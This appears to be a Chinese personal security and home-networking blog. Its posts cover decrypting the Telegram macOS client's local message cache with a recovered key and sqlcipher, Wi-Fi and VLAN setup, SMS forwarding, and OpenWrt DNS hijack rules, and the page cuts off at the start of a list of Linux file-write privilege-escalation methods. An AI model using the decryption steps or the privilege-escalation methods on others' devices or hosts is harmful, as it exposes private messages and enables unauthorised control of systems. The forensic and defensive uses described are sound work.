Green_m's blog

Telegram mac 客户端本地缓存解析

Green_m's blog
11 months 2 weeks ago
0x00 前言

最近接到一个需求，要求对 telegram 客户端的本地缓存进行解密和取证，研究了一下，把能解密的部分操作记录下来。

本来原始需求想研究的是 windows 平台上的 telegram 客户端，但搜索半天最后发现 windows 上的客户端使用的是 tdesktop 项目，不缓存数据，只存储凭证。而 mac 上的 telegram 会将数据缓存本地，基于 tidb 存储，所以本文是以解密和解析 tidb 结构的一种方法， 理论上来说不局限于平台，只要底层是 tidb 存储的都可以，我仅测试了 mac 的客户端。

测试使用的环境是： 10.2.4.255298 Stable(Mac telegram)，M1 Pro Venture 13.2

0x01 获取本地的用户加密的 encryptkey

macos 的官方客户端，默认在 ~/Library/Group\ Containers/6N38VWS5BX.ru.keepcoder.Telegram/stable/

该目录下有一个 .tempkeyEncrypted 文件，这个文件就是用来对本地缓存进行加密的密钥文件。

$ ls -la total 32 drwxr-xr-x@ 12 green staff 384 Nov 27 16:48 . drwxr-xr-x@ 5 green staff 160 Aug 22 2022 .. -rw-r--r--@ 1 green staff 64 Jul 30 2022 .tempkeyEncrypted drwxr-xr-x@ 37 green staff 1184 Jul 24 09:19 Wallpapers drwxr-xr-x@ 6 green staff 192 Jan 4 2022 account-xxx drwxr-xr-x@ 5 green staff 160 Sep 6 2022 account-xxxx drwxr-xr-x@ 6 green staff 192 Nov 16 14:36 accounts-metadata -rw-r--r--@ 1 green staff 4878 Nov 16 14:36 accounts-shared-data -rw-r--r--@ 1 green staff 21 Nov 27 16:48 crashhandler drwxr-xr-x@ 22 green staff 704 Nov 27 16:39 logs drwxr-xr-x@ 3 green staff 96 Jul 18 2022 temp drwxr-xr-x@ 12 green staff 384 Nov 27 16:40 trlottie-animations

我参考网上的资料，整理了一个脚本，可以解析这个 .tempkeyEncrypted，脚本地址： https://gist.github.com/Green-m/6e3a6d2ffbb1b669d37b756572ca232f

需要修改的地方主要是：

  1. 文件路径， mac 上主要是用户名
/Users/yourname/Library/Group Containers/6N38VWS5BX.ru.keepcoder.Telegram/stable/.tempkeyEncrypted
  1. 默认密码，如果 TG 客户端设置了 passcode，则需要把这个密码修改成对应的 passcode，如果没有则不用改。
DEFAULT_PASSWORD = 'no-matter-key'

如果提示hash 不匹配则说明密码错误：

raise Exception(f'hash mismatch: {dbHash} != {calcHash}') Exception: hash mismatch: 430097447 != -1438537127

如果正确的话，会将 .tempkeyEncrypted 转成这样的格式：

PRAGMA key="x'427a6970d894722d0795446d098xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxcfced7ea2e6edf8bbd4cebef5e358'"

拿到这个 key 之后，我们就可以正确解密缓存了。

可以从脚本中看出来，加密的算法是对 password 做 sha512 的 hash，得到 AES 中的 KEY 和 IV，然后再对 tempkey 解密，如果要爆破的话反过来就行了。

0x02 使用 sqlcipher 解密 sqlite

使用 sqlcipher 工具对加密的 db_sqlite 文件进行解密， key 就是上一步获取的key。

sqlcipher ~/Library/Group\ Containers/6N38VWS5BX.ru.keepcoder.Telegram/stable/account-*/postbox/db/db_sqlite PRAGMA user_version; PRAGMA cipher_plaintext_header_size=32; PRAGMA cipher_default_plaintext_header_size=32; PRAGMA key="x'*****************************'"; ATTACH DATABASE 'plaintext.db' AS plaintext KEY ''; DETACH DATABASE plaintext;

解密完成后在当前目录下生成文件 plaintext.db ， 该文件就是解密后的明文 sqlite 数据库。 但是如果此时查看该数据库，会发现数据都是碎片化的，不能直接肉眼看出来东西。

0x03 解析明文 sqlite 数据库

脚本地址：https://gist.github.com/Green-m/5f845f52af08cb53b4804ede198fc4f1

根据你的需求，修改或者添加不同的函数：

list_all_peers() # 列举所有的 peers，包括 channel、group、chat 等 get_messages_from_peer(9596437714) # 根据 peer id 获取对话内容 get_messages_from_peer_timestamp(9596437714, 1687224400) # 根据 peer id 和 时间戳获取对话内容

解析效果：

0xff 参考

https://gist.github.com/stek29/8a7ac0e673818917525ec4031d77a713

家庭 Wi-Fi 晋级路线

Green_m's blog
11 months 2 weeks ago
0x00 前言

每个爱折腾的人都不会放弃折腾家里的网络的，无论是NAS，软路由，还是电视盒子，游戏机，WI-FI漫游等，甚至选择终极方案把家里整成一个机房，只要你想就没有不能折腾的地方。

由于提到的NAS，软路由这些我都基本上折腾过了，本文主要聚焦的是 WI-FI 这一块，毕竟普通人最常最直接的体验就是 Wi-Fi，WI-FI 的稳定流畅与否某种程度上和幸福程度直接挂钩。

没有人想在玩着游戏的时候，被夫人大喊，“网怎么这么卡，视频卡住了，快帮我看一下！”————那真是痛苦的回忆。

0x01 蛮荒阶段

从有上外网需求开始，家里经历过多个无线 AP 设备，从 K2 到 K2P，最开始从刷机 K2P 装某些插件实现上网，是稳定运行了很长一段时间。

后来搬家，设备也添上了 NAS 后，随着硬盘越来越大，媒体资源越来越高清，K2P 的信号强度和 WI-FI 速度已经捉襟见肘，主要的矛盾体现在日益增长的网络传输需求与羸弱的硬件传输能力的冲突。

K2P宣称的是能够到千兆，但是刷了固件上了插件后怎么测试都只有600M左右，都2023年了，在近距离都跑不到千兆，没有 Wi-Fi 6，也没有自动漫游切换，这样的路由肯定要被淘汰的，因此 K2P 就被我扔到了架子上吃灰。

0x02 失望的 AP 选择

考虑到已经购置了软路由，拨号和主路由就由 x86 软路由搞定了，所以购买硬路由只需要考虑 AP 的信号和稳定性了，当然性价比也应该考虑，毕竟没土豪到那种地步。

之前担心过软路由的稳定性，但作为主路由跑过很长一段时间发现真的挺稳定的，除了偶尔因为温度高导致一直卡顿，在后来加了一个小风扇之后就完全没有这个问题了。

对比了很多家，最终选择了 TPLINK XDR5480 和 XDR 3040 路由器， 也看了很多评测，比如 acwifi.net 的评测，对于 TPLINK 的评价都还行，考虑到战未来的可能性，选择直接上 2.5G 网口，XDR5480 的2.5G 还不是电口，我甚至还斥巨资(100RMB)入了一个转换器。

看着 TPLINK 路由器的硬件参数，无线都3000M/5000M的，再加上这个宣传的 “易展” 功能，我想着这不是直接起飞啊，地球村近在眼前，世界与我近在咫尺！

当然如果真的这么爽，也就不会有此文了。

2.1 约等于无的可配置项

首先说 TPLINK 的路由器，硬件堆料确实没问题，但软件功能也太少了，简直是残缺不堪。 我就想买回来当 AP 使用，结果就这最基本的功能都做不好。

网上找了张图：

选择AP（有线中继）模式，IP地址和网关等全都不能手动设置，必须等自动分配。 至于那个兼容模式，不明所以，没有任何专业性的解释，仅有一行说明，但开和关我完全没感受到区别。

还有另外一种方法，关闭DHCP服务后，去lan口主动配置 IP，网关，子网掩码等设置，好歹是可以手动配置这个路由器的地址了。

后来我选择的是手动关闭 DHCP 服务来作为 AP，至于前面那一种有什么坑，我已经忘记了，反正不太行，也不想再为了写这篇文章去复现一下了，等想起来了再说。

当然能手动配置 LAN 口当然是好的，但是注意看图，图里只让你填了本机的 IP 地址和掩码，并没有让你选择网关和DNS服务器。

如果你不熟悉网络的话可能不了解这代表什么，稍微了解一点就知道这两个选项对于能不能上网至关重要。

我不知道 TPLINK 的开发者是怎么想的，因为缺失了这两个配置，导致我接入WI-FI的设备无法正确设置 DNS 。 而我的软路由作为网关，最后的 IP 地址并不是 .1，而是 .2（历史原因），我甚至怀疑是 TPLINK 默认认为网关地址是 .1 结尾，而自动根据 LAN 口设置配置了，才导致在我的环境中出现各种问题不能正确配置。

后来我只好在软路由上开启了强制 DHCP，同时设置 DHCP options 去广播 DNS。

图里设置这里是 192.168.6.2，但我之前的 DNS 服务器并不是这个，我需要广播其他的DNS服务器，可能这也是导致 TPLINK 找不到 DNS 的可能之一。

而我的环境相对来说还算比较简单的，网关和 DHCP 服务器好歹还是同一个，还遇到这么多问题，如果你有旁路由这样的二级网关，那估计踩的坑会更多。

2.2 坑爹的稳定性

好，到这里我所有的配置基本都好了，客户端测试连接也可以正常上网了，各种 iperf3 ，speedtest 测试网络都还可以（为了测试2.5G我还换了一个交换机），Mesh 的快速漫游也测试OK，想着终于可以起飞了，软件差点就差点，硬件总还行吧。

体验的结果就是： 光看斗鱼就经常缓存，不知道是掉线还是什么，我千兆的网清晰度连个蓝光都看不了，坑爹。

DHCP 分配IP也光出现问题，经常出现加入不了 WI-FI 的情况，我甚至一度怀疑是 openwrt 强制 DHCP 导致的问题， 但我排查 openwrt 的 DHCP 日志的时候，发现租约还没过期的客户端也会频繁触发 DHCP 的分配日志，不知道是为什么，但我感觉应该跟这个有关系。

这个断线断连我也能忍，毕竟可能不是 TPLINK 的问题，是我环境跟它的不兼容，但最不能忍的是下面这种情况：

直接完全无法加入网络，不管是完全忘记 Wi-Fi，还是回收所有 DHCP 租约，都无法加入网络。 我可能需要睡一觉或者放那，过个半天左右就又能连上了，真的很奇怪。 关键它是偶发性的，不是持续出现的问题，我还不好排查。

我用各种测速软件测出来的结果很美好，但实际体验太差劲了，只能说一分钱一分货，我就不该贪这个便宜。 用上了 TPLINK 后， 经常听到夫人大喊“老公网卡了！”，这个时候我心里总是一紧，总会后悔自己一时冲动买的中看不中用的东西。

0x03 近乎完美的 AP 设备

今年双11，我痛定思痛，痛下决心下血本买了两个 Unifi 的 U6 mesh 可乐罐，准备用来替换家里的 TPLINK。

它的包装真的挺精致的，设备造型也小巧，不像是一个路由器，据说是参考苹果的设计来的，我个人觉得还是挺符合的。

（图盗自什么值得买，自己忘拍了）

当然，精致是有代价的，我买的是美版的，插头是美标的插头，买回来不能直接用，还要自己去买个转接头，当然如果你家里有 POE 供电的设备就不需要了，直接接网线供电就行了。

同时，你很难想象2023年了，一个1500块钱的 AP 设备，里面连根网线都不带，这点也完全符合我对苹果设计风格的一贯印象。

想使用 Unifi 的 AP 设备，需要结合一个 AC 来控制， 虽然 Unifi 官方的 AC 非常的贵，但好处是可以自建，甚至可以用 docker 来搭建，网上已经有成熟的 docker 配置，我用的是 jacobalberty/unifi 的镜像。

3.1 无可挑剔的软件体验

这里我就不细讲具体搭建过程，就讲讲我搭建好之后的实际体验效果。

简单的总结， Unifi 的软件堪称完美，基本上你能想象的功能，在 Unifi 的 AC 中你都能够控制，包括但不限于发射功率，信道，RSSI 断开链接的信号强度，2.4G 和5G 的信道宽度等等都能够设置。

甚至 LED 灯的 RGB 颜色和亮度都能够控制，我在家里把所有默认蓝色的灯都换成了绿色。

跟其他国内大部分路由器厂商不同的是，Unifi 的 AP 是允许你直接 SSH 登陆到该设备上操作的，也就是当你遇到问题或者bug，可以直接上去看对应的 /var/log 目录来进一步分析，当然你也可以把它当成 Linux 设备，进行其他的操作。

除了高度自定义和全面的软件功能支持之外， Unifi 的界面也是非常美观和简洁的。

总览，可以一目了然的看到目前的Wi-Fi状况：

目前网络的 拓扑图和流量状态（设备的图标也可以快速匹配和指定）：

各个客户端的流量统计和运行状态：

以及Wi-Fi接入点的覆盖，还有各个客户端的信号强度和理论最大速度。

3.2 硬件略有不足

Unifi 的 AP 设备，硬件上还是存在一点点不足，U6 mesh 可乐罐发热比较高，直接放置的话不算很稳容易倒。 我感觉是过度追求外观了损失了部分散热甚至是寿命。 当然目前暂时还没有发现因为散热导致的卡顿，但我也怀疑如果长期在高温的情况下寿命能否长久。

其次，1500左右的 AP 设备，居然还是千兆，这个价格和这个配置，不得不说略显落后。 据说接下来很快会出 2.5G 的 AP，但考虑到 Unifi 一贯的价格，瞬间觉得自己的千兆也完全够用了。

另外，Unifi 全家桶还有其他的设备，包括网关交换一体机，功能也十分强大，和这个 AP 可以统一配置，就是价格实在是承受不起，当然这倒不是他们硬件的不足，主要是我的资金不足。

3.3 自建 Unifi controller 遇到的一点小 BUG (Docker)

使用 Docker 自建 AC 控制器挺顺利的，但是使用一段时间后发现，AC 经常会出现已采用的设备丢失的问题，只要 AC 或 AP 一重启，就会丢失。 然后一直卡在接管中或者接管失败的状态上，虽然不影响 AP 的网络，但影响页面统计和状态还是挺不爽的。

排查和搜索资料一段时间后发现，主要原因就是 AC 会根据自身的IP和端口接管AP，这就导致用 docker 搭建的 AC 会出问题，因为容器内部的IP地址跟宿主机不同。

解决方案是

  1. 如果你的端口没有改过，就是默认的 8080，那么可以直接在 AC 中覆盖 IP 地址： 系统 -> 高级 -> 通知主机，选择覆盖，填写需要覆盖的 IP 地址即可。

  2. 如果不只是IP地址需要修改，还包括端口的话，就需要修改容器中的配置文件，手动修改端口和 Host ip地址：

unifi.http.port=48080 system_ip=192.168.x.xxx

配置文件地址：unifi/data/system.properties

如果映射的端口不一样的话，记得docker-compose文件也要修改。

当然如果你不是用 Docker 搭建的，那就完全不存在这个问题。

0x04 软路由 + AP 实施 VLAN

既然 Unifi 的 AP 什么都能做，那我也正好把我的 VLAN 计划跟提上日程了。

先可以介绍一下背景，为什么要规划 VLAN。 因为我现在的设备不算多，VLAN 对于我来说主要是为了解决网络隔离的问题，毕竟作为安全研究员，网络安全是最关心的，国内的设备也不太信得过。 当然以后设备也能避免广播风暴。那些什么某米的路由，电视，智能设备之类的，我是能不用就尽量不用，就算用了也不会让它跟我的主要设备在同一个网段的。

网上的资料划分 VLAN 主要是靠网管交换机来划分，而我的 VLAN 划分主要是给无线设备划分的，考虑到多个房间多个设备的统一，用不同的网口划分好像不太合适（当然也许可以，毕竟我没真正接触过网管型的交换机）。

我决定直接用手上现成的 x86 openwrt 来划分 VLAN。找了网上一圈资料，很多配置的时候都是这样的：

我在我的设备上怎么都找不到这个交换机的页面，后来才知道 x86 的 openwrt 如果没有交换机芯片的话是没有这个配置界面的，只能通过虚拟接口去实现，还好也不算麻烦。

4.1 openwrt 配置软件 VLAN

首先在 openwrt 里的 网络 -> 接口 点击添加新接口，添加虚拟 VLAN 接口。

这里的接口 eth0.2 代表的就是在 eth0 上创建一个 VLAN ID =2 的虚拟接口，如果你想在多个接口上都创建，那么就可以写

eth0.2 eth1.2 eth2.2 eth3.2 eth4.2 eth0.10 eth1.10 eth2.10 eth3.10 eth4.10

根据你自己的物理接口编号来调整。 先不要选择在多个接口上创建桥接，填好名字后直接点击创建。

创建好之后，选择刚刚创建的 VLAN 接口（一定不能选择原始的 eth0 eth2 这种物理接口，只能选择 VLAN 接口！）：

设置好桥接接口，同时再设置好对应的 DHCP ，DHCP 上的 DHCP选项建议配置一下，如：

6,8.8.8.8, 114.114.114.114

表示 DHCP 分配内网地址的时候，直接让客户端配置如上的 DNS 服务器。 这个可以根据自己需要修改， 因为我这里都是 IoT 设备，且与我主要的网段隔开，所以 DNS 就配置公共的 DNS 就行了。

4.2 openwrt 配置防火墙

接口配置好之后，还需要再配置一下防火墙，不然是不能直接到 wan 接口的。

这个比较简单，直接在 网络 -> 防火墙中新增，选择刚刚创建的 LAN ，允许转发到 wan 就行了。

如果你还想让主网络单向可以访问到 VLAN 网络，那么可以在防火墙中配置允许源区域 LAN 访问 VLAN。 不配置的话默认的 LAN 和 VLAN 是完全不互通的。

4.3 Unifi AC 中配置

在 Unifi AC 的web界面中，还需要创建一个单独的网络来匹配这个 VLAN 。 在设置 -> 网络中，选择新建虚拟网络，填写好 VLAN ID和网络名称，如图：

然后创建一个新的 WI-FI，匹配刚刚创建的网络即可：

这样，连接这个 WI-FI 下的所有客户端，都跟主网络 LAN 隔开了，只能跟互联网相连。 如果你还嫌不够的话，还可以开启客户端设备隔离，实现客户端和客户端之间不能互相访问。

0x05 总结

Unifi 的 AP 确实做得很好，如果你有钱，那么上 Unifi 全家桶可能是更好的选择，如果你没钱也没有折腾的需求，那么普通的 TPlink，小米，华为等等路由器都是挺不错的选择，笔者只是写出自身使用 TPlink 遇到的坑，网上也有很多说这些路由器不错的。 总之，适合自己需求，网络和性能都够稳定，就是好选择。

0xff 参考

UniFi 控制器设备采用丢失问题排查

OpenWRT设置VLAN

十八聊智能 篇一百一十八：AC+AP全屋WiFi方案改造实战，UniFi评测：全套UBNT，应付全屋智能家居+手机无缝漫游

老房子WiFi布网攻略 篇三十九：openwrt vlan详解与WAN口、LAN口任意设定指南

Linux 服务器短信接收同步

Green_m's blog
1 year 7 months ago
0x00 前言

最近有多张电话卡的需求，记录一下我的解决方案，目前认为是比较完美的，已经稳定运行快一个月。

0x01 手机之间同步的困扰

我的 iphone 不支持双卡，带两个手机又比较麻烦，所以最开始就想利用一下闲置在家里的旧手机，iOS 支持 imessage 收到信息自动同步到新手机。 但中间遇到两个新问题：

1）老手机长期开机待机电量消耗很快，特别是 iphone 电池容量也不大，如果一直插着电对手机电池也不是特别好； 2）我的旧手机是第一代 iphone SE，它不支持升级到 IOS16 了，而登陆新手机的 icloud 账号居然提示我不能登陆，请先升级到 IOS16（Only apple can do!）。

我尝试了多种解决方案，均登陆失败。我不太懂苹果的逻辑，但我的旧手机看来是永远都登陆不了我主用的 icloud 账号了。

第一个问题还好，可以考虑用智能插座等解决方案去定时开关解决，但第二个账号问题就彻底堵死了想用手机同步短信的路子。 没办法，只能考虑其他路线了。

0x02 SIM800C USB 模块

网上搜索时，无意中发现了有开发板可以做到接收短信的功能，同时还有支持 USB 接口的模块。 马上在淘宝上下单了一个，还带天线支持全网通，才50多块钱。 唯一的缺点可能就是该模块没有外包装，不防猫。 图片大概长这样：

把这个东西直接插到电脑上，Linux 或者 windows 都行，我是直接插到家里的 Linux 服务器上的，插上去之后还不能直接用，需要先安装CH340的串口驱动程序，我这里是店家直接给的驱动，直接 make install 安装就行，也可以自己参考网上的资料安装。 安装后就能通过 USB 接口检测到设备了。

❯ ls /dev/ttyUSB* /dev/ttyUSB0 ❯ lsusb Bus 001 Device 008: ID 1a86:7523 QinHeng Electronics HL-340 USB-Serial adapter ... 0x02.5 A7670G 模块（2024年11月6日更新）

伴随着长时间的使用，可能是因为它只支持 2G 信号，而随着现在 2G 逐渐被淘汰，SIM800C 的信号变得越来越不稳定了，经常收不到短信甚至掉线。

于是我开始考虑重新购入一个新设备，最终挑中了 A7670G 模块，它支持 4G、3G、2G 各种频段，接口也支持串口和 USB 口连接，很方便。 但该设备不如 SIM800C 轻便，还需要额外供电，也贵了不少，成本来到了150到200块钱。

大概长这样(外壳可以选配)：

后续过程和上面 SIM800C 一般无异，就不赘述了。

切换成这个后发现稳定了很多，虽然短信接收因为漫游的原因还是有延迟，但起码不再掉线不漏接短信了，非常满意。

0x03 gammu 接收短信与推送

该模块原生是通过串口去控制，通过 AT 命令收发短信和打电话等操作的，我在测试的时候也用过这个命令去控制。 但我其实不需要过于复杂的功能，仅仅需要收发短信就可以了，问了下 chatGPT，它推荐我用 gammu 这个工具去控制，我才发现有这样一个工具，而且效果确实也挺好。

gammu 的介绍和基本操作我这里就不详细介绍了，感兴趣的可以自己看官方文档或者其他入门资料介绍。 我是通过 gammu-smsd 这个常驻进程去实现的：

配置文件(有省略)：

#/etc/gammu-smsdrc [gammu] # Please configure this! port = /dev/ttyUSB0 connection = at115200 # Debugging logformat = textall # SMSD configuration, see gammu-smsdrc(5) [smsd] service = files RunOnReceive = /etc/sms_send_tg.sh ...

为了能够同步给远端的其他手机，我选择用 telegram bot 实现，当然也可以选择其他对网络更友好的方式，比如 slack bot，飞书等等。 脚本内容如下：

#!/bin/bash # Replace YOUR_TOKEN and YOUR_CHAT_ID with your Telegram bot token and chat ID TOKEN="xxxx" CHAT_ID="-1xxxx" echo "Received log from tg bash script: $SMS_1_NUMBER: $SMS_1_TEXT" >> /xxxxxx/sms_ganmu.log # Send the message to the Telegram bot using cURL curl -q -s -X POST "https://api.telegram.org/bot$TOKEN/sendMessage" \ -d chat_id="$CHAT_ID" \ -d text="Received SMS from $SMS_1_NUMBER: $SMS_1_TEXT" && echo "Send message successful." 0x04 gammu 发送短信

因为我比较少用到主动发短信的功能，大部分时候是手动发短信，所以没有实现自动化，这里就简单介绍一下手动发短信的功能：

echo "hello,my friend" | su gammu -s /bin/bash -c 'gammu-smsd-inject TEXT +8613333333333'

主要是借助了 gammu-smsd-inject 程序实现的。

0x05 gammu 监控与通知

虽然 gammu-smsd 进程我是通过 systemd 控制自动启动的，但毕竟是外设硬件，存在着太多不可预测的意外情况（你也不知道什么时候猫猫发疯给你咬了），所以我们还需要有一个监控该进程用户通知提醒的进程。

官方提供了一个程序 gammu-smsd-monitor 来监控健康状态，但该程序没有考虑后台持续运行的情况，也没有提供附带的报警功能，所以需要自己去改进实现。

我是通过 systemd 来实现的，当该服务失败或者异常时会调用 bark-alert-user 服务：

# /etc/systemd/system/gammu-smsd-monitor.service [Unit] Description=Gammu SMSD Monitor After=network.target OnFailure=bark-alert-user@%n.service [Service] Type=simple ExecStart=/usr/bin/gammu-smsd-monitor -d 15 Restart=no RestartSec=5 LimitNOFILE=65535 ExecStop=/usr/bin/killall gammu-smsd-monitor [Install] WantedBy=multi-user.target

创建报警服务bark-alert-user，该服务触发时会执行 /usr/bin/bark_alert.sh ：

# /etc/systemd/system/[email protected] [Unit] Description=Bark alert send to user for %i [Service] Type=oneshot ExecStart=/usr/bin/bark_alert.sh %i User=nobody Group=systemd-journal

脚本内容是发送一个 http 请求到 bark，然后会将通知发送到我的手机上：

#!/bin/bash curl "https://api.day.app/<token>/$1"

读者根据需求也可以使用其他的类似功能来实现。

0x06 gammu 的坑

  1. 使用的时候需要注意， gammu 控制是支持直接用 gammu 程序 和 gammu-smsd的，但这两个程序其实是互斥的，也就是说两者只能有一个同时占用你的 USB 设备。我当时在这里卡了很久，以为是我的设备出了问题 ，在我的命令行 gammu 直接测试设备成功时，gammu-smsd 启动就会报错。所以，请务必同时只使用 gammu 或者 gammu-smsd 来控制你的设备。

  2. gammu 默认是通过文件存储短信的，所以如果以非 root 用户启动服务的话，需要注意服务用户对收件箱和发件箱的权限，否则可能会出现狂发短信的情况。

0xff 参考

gammu 官方文档： https://docs.gammu.org/

自建短信中转服务：https://zhuanlan.zhihu.com/p/53387245

get-notification-when-systemd-monitored-service-enters-failed-state： https://serverfault.com/questions/694818/get-notification-when-systemd-monitored-service-enters-failed-state

openwrt 路由器的奇怪 DNS 劫持

Green_m's blog
2 years ago
0x00 前言

最近宽带升级了，从 300M 电信小水管直接升级到了 1000M 联通，这个升级还是挺大的，我的老网络架构直接承担不起这个大带宽了，所以决定对网络进行改造。

以前的网络是使用 x86 架构的 openwrt 软路由作为旁路由，开启 openclash 之类的东西方便浏览资料，主路由使用好几年前买的 K2P 拨号上网，并承担全屋的 WI-FI 功能。这个架构在 300M 的时候，K2P 完全能跑满速度，升级后就最多只能跑到 600M，CPU 飙升到 100%，估计瓶颈应该就在 CPU了。

正好联通师傅上门的时候给了我一个运营商定制的 WI-FI 6 路由器，这个路由器凭我的直觉是不能够作为主路由使用的（估计也不支持旁路由设置），现在只能通过 openwrt 拨号作为主路由。

0x01 现象

之前我的局域网中是有一个 NAS 搭建的 AdGuardHome 作为 DNS 服务器的，改造后发现所有的 DNS 请求都不走这个 AdGuardHome 了，不管是在 openwrt 中主动广播 DNS 地址，还是在 Client 里手动设置 DNS 服务器，DNS 流量都不会走到 AdGuardHome。

进一步排查发现，甚至使用 dig 命令指定任意不存在的 DNS 服务器，也有结果返回。 这个现象完全和 GFW 的 DNS 劫持立即返回一模一样。

如下：

dig baidu.com @22.22.33.33 <O> DiG 9.10.3-P4-Debian <O› baidu.com @22.22.33.33 global options: +cmd Got answer: ->>-HEADER<<- opcode: QUERY, status: NOERROR, id: 46357 flags: qr aa rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1 OPT PSEUDOSECTION: EDNS: version: 0, flags:; MBZ: 0001 udp: 4096 QUESTION SECTION: ;baidu.com. IN A ANSWER SECTION: baidu.com. baidu.com. H H IN IN D D 110.242.68.66 39.156.66.10 Query time: 1 msec SERVER: 22.22.33.33#53(22.22.33.33) WHEN: Tue Nov 01 10:35:44 CST 2022 MSG SIZE rovd: 70 0x02 排查

经过各种搜索和排查，最后在 iptables 中发现了端倪。

分别有两段涉及到 DNS 查询的53端口：

root@OpenWrt:~# iptables -nvL -t nat Chain PREROUTING (policy ACCEPT 482 packets, 47519 bytes) pkts bytes target prot opt in out source destination 0 0 REDIRECT tcp -- * * 0.0.0.0/0 8.8.4.4 /* OpenClash Google DNS Hijack */ tcp dpt:53 redir ports 7892 0 0 REDIRECT tcp -- * * 0.0.0.0/0 8.8.8.8 /* OpenClash Google DNS Hijack */ tcp dpt:53 redir ports 7892 0 0 REDIRECT tcp -- * * 0.0.0.0/0 0.0.0.0/0 tcp dpt:53 /* OpenClash DNS Hijack */ redir ports 53 29 1989 REDIRECT udp -- * * 0.0.0.0/0 0.0.0.0/0 udp dpt:53 /* OpenClash DNS Hijack */ redir ports 53 root@OpenWrt:~# iptables -nvL -t nat Chain PREROUTING (policy ACCEPT 1 packets, 60 bytes) pkts bytes target prot opt in out source destination 89 7154 prerouting_rule all -- * * 0.0.0.0/0 0.0.0.0/0 /* !fw3: Custom prerouting rule chain */ 87 6850 zone_lan_prerouting all -- br-lan * 0.0.0.0/0 0.0.0.0/0 /* !fw3 */ 2 304 zone_wan_prerouting all -- pppoe-wan * 0.0.0.0/0 0.0.0.0/0 /* !fw3 */ 0 0 zone_wan_prerouting all -- eth1 * 0.0.0.0/0 0.0.0.0/0 /* !fw3 */ 0 0 zone_VPN_prerouting all -- ipsec0 * 0.0.0.0/0 0.0.0.0/0 /* !fw3 */ 0 0 zone_vpn_prerouting all -- tun0 * 0.0.0.0/0 0.0.0.0/0 /* !fw3 */ 0 0 zone_docker_prerouting all -- docker0 * 0.0.0.0/0 0.0.0.0/0 /* !fw3 */ 86 6790 REDIRECT udp -- * * 0.0.0.0/0 0.0.0.0/0 udp dpt:53 /* Rule For Control */ redir ports 53 0 0 REDIRECT tcp -- * * 0.0.0.0/0 0.0.0.0/0 tcp dpt:53 /* Rule For Control */ redir ports 53

这里有两段 PREROUTING 规则都劫持了 DNS 流量。

0x03 openclash 的 DNS 劫持

第一个是 openclash 的设置，如果勾选了本地 DNS 劫持的选项，就会加上这一条 iptables 的规则，取消勾选此选项即可。 但可能会影响 DNS 转发的功能，所以我就写了一个脚本手动修改 Dnsmasq 的转发。

#!/bin/sh /etc/rc.common # file: /etc/init.d/dnswatcher START=10 STOP=15 watchdir=/var/etc/ LOGFILE=/tmp/openclash_mylogger.log start() { inotifywait -q -m "$watchdir" -e delete,create | while read -r path action file; do #echo "The file '$file' appeared in directory '$path' via '$action'" >> $LOGFILE if printf "%s" "$file" |grep -q "openclash.include" ; then sleep 5 enable=$(uci get openclash.config.enable) # if enable ,modify dns if [ "$enable" -eq 1 ]; then #echo "enabled" echo "$(date)-----openclash dns not set right, changing it!" >> $LOGFILE uci del dhcp.@dnsmasq[-1].server >/dev/null 2>&1 uci add_list dhcp.@dnsmasq[0].server="127.0.0.1#7874" uci delete dhcp.@dnsmasq[0].resolvfile uci set dhcp.@dnsmasq[0].noresolv=1 uci set dhcp.@dnsmasq[0].cachesize=0 uci commit dhcp /etc/init.d/dnsmasq restart # else revert dns setting else #echo "disabled" echo "$(date)-----Reverting dns!" >> $LOGFILE uci del dhcp.@dnsmasq[-1].server >/dev/null 2>&1 uci add_list dhcp.@dnsmasq[0].server="223.5.5.5#53" uci set dhcp.@dnsmasq[0].resolvfile=/tmp/resolv.conf.auto >/dev/null 2>&1 uci set dhcp.@dnsmasq[0].noresolv=0 uci set dhcp.@dnsmasq[0].cachesize=0 uci commit dhcp /etc/init.d/dnsmasq restart fi fi done & return 0 } stop() { ps -ef | grep inotifywait | grep -v grep | awk {'print $1'} | xargs kill -9 return 0 }

大概功能就是当开启 openclash 的时候，自动将 dnsmasq 的上游设置为 127.0.0.1:7874，如果关闭 openclash 的话，则恢复到正常的运营商 DNS 设置。

0x04 mia 的 DNS 劫持

这个 mia 的规则在 /etc/init.d/mia，对应的部分代码为：

start(){ stop enable=$(uci get mia.@basic[0].enable) [ $enable -eq 0 ] && exit 0 iptables -t filter -N MIA iptables -I INPUT -p udp --dport 53 -m comment --comment "Rule For Control" -j MIA iptables -I INPUT -p tcp --dport 53 -m comment --comment "Rule For Control" -j MIA iptables -t nat -A PREROUTING -p udp --dport 53 -j REDIRECT --to-ports 53 -m comment --comment "Rule For Control" iptables -t nat -A PREROUTING -p tcp --dport 53 -j REDIRECT --to-ports 53 -m comment --comment "Rule For Control" strict=$(uci get mia.@basic[0].strict) [ $strict -eq 1 ] && iptables -t filter -I FORWARD -m comment --comment "Rule For Control" -j MIA add_rule }

搜索后发现这个功能应该是家长控制的代码（真坑啊），直接去掉该功能即可。 如果还需要限制某些客户端上网的话，可以直接通过防火墙设置，如：

iptables -A FORWARD -i eth1 -o wan -m mac --mac-source 04:18:d6:52:1d:71 -m comment --comment "Reject A client" -j Reject

也可以直接在 web 界面进行防火墙设置，这里不再赘述。

0xff 结语

openwrt 中各种组件结合起来确实有各种坑，该问题困扰了我两三天，各种搜索无解，最后还是凭直觉在 iptables 中排查到了。要想高度自定义还是要做好踩坑的准备。

遗留问题： WI-FI6 使用 macbook 能跑满千兆，但 iphone 却跑不满，估计和运营商的路由器有关系。

操作 linux 文件提权

Green_m's blog
2 years 11 months ago
0x00 前言

目前基本年更，工作中的太多东西不太敢放到博客中了，就是平时随手放笔记里的东西可能会拿出来更新一下。

本篇博客主要是总结 Linux 上通过写文件或者类似行为来提权的方法，收集途径来自于笔者平时收集和工作遇到的情况，如有缺失还请指正。

本文应该会持续更新。

0x01 三板斧

为了对一些刚入门的小兄弟友好一点，把老生常谈的几种方式在这里提一下。

  1. authorized_keys
  2. crontab 文件
  3. webshell

这三种方式可以在大部分其他提权相关的文章中见到，这里就不再赘述具体的操作方法，就关键的地方提一下：

authorized_keys

这个方式需要存在当前用户的 .ssh 目录，同时如果还需要开启 ssh 服务，限制挺多的。

cron 文件

共有两个文件 /etc/crontab 和 /var/spool/cron/crontabs/root ，打 redis 的时候用得比较多，但需要注意的是不同的发行版对于crontab文件的权限和格式要求不一样，

